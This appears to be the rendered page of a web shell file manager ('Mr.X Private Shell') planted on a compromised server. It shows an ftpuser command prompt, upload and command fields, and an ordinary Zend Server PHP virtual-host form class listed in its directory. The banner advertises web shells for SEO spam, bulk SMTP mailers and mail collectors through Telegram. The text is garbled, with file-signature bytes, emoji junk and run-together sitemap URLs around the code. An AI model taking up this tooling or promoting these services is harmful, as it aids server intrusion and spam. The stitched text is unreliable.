xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace Vhost\Form;

use Zend\Form\Form;
use Zend\Validator\Hostname;
use Zend\InputFilter\InputFilterProviderInterface;
use Zend\Validator\GreaterThan;
use Zend\Validator\LessThan;
use Zend\Validator\NotEmpty;
use WebAPI\Validator\InArray;
use ZendServer\Validator\File\Exists;
use Deployment\Validator\VirtualHostPort;

class Vhost extends Form implements InputFilterProviderInterface
{

    public function prepareElements()
    {
        $this->add(array(
            'name' => 'vhostId',
            'options' => array(
            ),
            'attributes' => array(
                'id' => 'vhost-id',
                'type' => 'hidden',
            ),
        ));

        $this->add(array(
            'name' => 'name',
            'options' => array(
            ),
            'attributes' => array(
                'id' => 'vhost-name',
                'type' => 'text',
                'placeholder' => 'e.g. www.mysite.com'
            ),
        ));

        $this->add(array(
            'name' => 'port',
            'options' => array(
                'allow_empty' => true
            ),
            'attributes' => array(
                'id' => 'vhost-port',
                'type' => 'Zend\Form\Element\Number',
                'placeholder' => 'e.g. 80',
                'value' => '80'
            ),
        ));

        $this->add(array(
            'name' => 'template',
            'options' => array(
            ),
            'attributes' => array(
                'id' => 'vhost-template',
                'type' => 'textarea',
            ),
        ));

        $this->add(array(
            'name' => 'sslEnabled',
            'type' => 'checkbox',
            'options' => array(
                'checked_value' => 'TRUE',
                'unchecked_value' => 'FALSE',
            ),
            'attributes' => array(
                'id' => 'ssl-enabled',
            ),
        ));
        $this->add(array(
            'name' => 'sslAppName',
            'type' => 'text',
            'options' => array(
            ),
            'attributes' => array(
                'id' => 'ssl-app-name',
                'placeholder' => 'My Application Name',
            ),
        ));
        $this->add(array(
            'name' => 'sslCertificateChainPath',
            'type' => 'text',
            'options' => array(
            ),
            'attributes' => array(
                'id' => 'ssl-certificate-chain-path',
                'placeholder' => '/path/to/certificate/chain-file',
            ),
        ));
        $this->add(array(
            'name' => 'sslCertificateKeyPath',
            'type' => 'text',
            'options' => array(
            ),
            'attributes' => array(
                'id' => 'ssl-certificate-key-path',
                'placeholder' => '/path/to/certificate/key-file'
            ),
        ));
        $this->add(array(
            'name' => 'sslCertificatePath',
            'type' => 'text',
            'options' => array(
            ),
            'attributes' => array(
                'id' => 'ssl-certificate-path',
                'placeholder' => '/path/to/certificate/file'
            ),
        ));
        $this->add(array(
            'name' => 'forceCreate',
            'type' => 'hidden',
            'attributes' => array(
                'id' => 'force-create',
                'value' => 'FALSE',
            ),
        ));
    }

    public function setData($data)
    {
        $group = array('name', 'port', 'template');
        if (isset($data['forceCreate']) && $data['forceCreate']) {
            $group[] = 'forceCreate';
        }
        if (isset($data['sslEnabled']) && $data['sslEnabled']) {
            $group[] = 'sslEnabled';
            if (isset($data['sslAppName']) && (!empty($data['sslAppName']))) {
                $group[] = 'sslAppName';
            } elseif (isset($data['sslCertificateChainPath']) && (!empty($data['sslCertificateChainPath']))) {
                array_push($group, 'sslCertificateKeyPath', 'sslCertificatePath', 'sslCertificateChainPath');
            } else {
                array_push($group, 'sslCertificateKeyPath', 'sslCertificatePath');
            }
        }
        $this->setValidationGroup($group);
        return parent::setData($data);
    }

    public function getInputFilterSpecification()
    {
        return array(
            'name' => array(
                'required' => true,
                'validators' => array(
                    new Hostname(array('allow' => Hostname::ALLOW_ALL, 'useIdnCheck' => false, 'useTldCheck' => false))
                )
            ),
            'port' => array(
                'required' => false,
                'validators' => array(
                    new GreaterThan(array('min' => 0, 'inclusive' => true)),
                    new LessThan(array('max' => pow(2, 16), 'inclusive' => true)),
                    new VirtualHostPort()
                )
            ),
            'template' => array(
                'required' => false,
                'validators' => array(
                    new NotEmpty()
                )
            ),
            'sslEnabled' => array(
                'required' => true,
                'validators' => array(
                    new InArray(array('haystack' => array(0, 1)))
                )
            ),
            'force' => array(
                'required' => true,
                'validators' => array(
                    new InArray(array('haystack' => array(0, 1)))
                )
            ),
            'sslCertificateKeyPath' => array(
                'required' => true,
                'validators' => array(
                )
            ),
            'sslCertificatePath' => array(
                'required' => true,
                'validators' => array(
                )
            ),
        );
    }
}

Filemanager

Name Type Size Permission Actions
Vhost.php File 5.77 KB 0644
VhostActionHydrator.php File 2.59 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml